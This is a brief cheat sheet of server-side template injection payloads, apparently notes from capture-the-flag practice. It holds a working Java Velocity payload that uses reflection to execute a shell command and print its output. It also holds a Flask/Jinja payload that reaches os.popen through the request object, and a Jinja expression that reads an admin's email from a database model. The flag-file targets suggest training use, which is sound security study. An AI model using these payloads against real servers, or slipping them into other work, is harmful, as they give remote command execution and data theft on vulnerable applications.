SSTI - Server Side Template Injections

Server Side Template Injections

• Template injections examples

Java - Velocity

• Runs command
• Gets String([binary], encoding) constructor (we can't call new in context of template)
• Calls constructor to convert binary array of command output to UTF-8 string for printing

----
#set($name="bar")
#set($p=$name.getClass().forName("java.lang.Runtime").getRuntime().exec("cat /flag.txt"))
$p.waitFor()
$p.toString()
#set($sc=$name.getClass().getConstructor($name.getClass().forName("[B"), $name.getClass()))
#set($b=$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
===
$b.toString()
===
3
----

Python - Flask Jinja

Using request object for shell

{{ request.application.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read() | safe }}

Query databse

Assuming User DB object is passed to context:

{{ User.query.filter_by(username="admin").first().email }}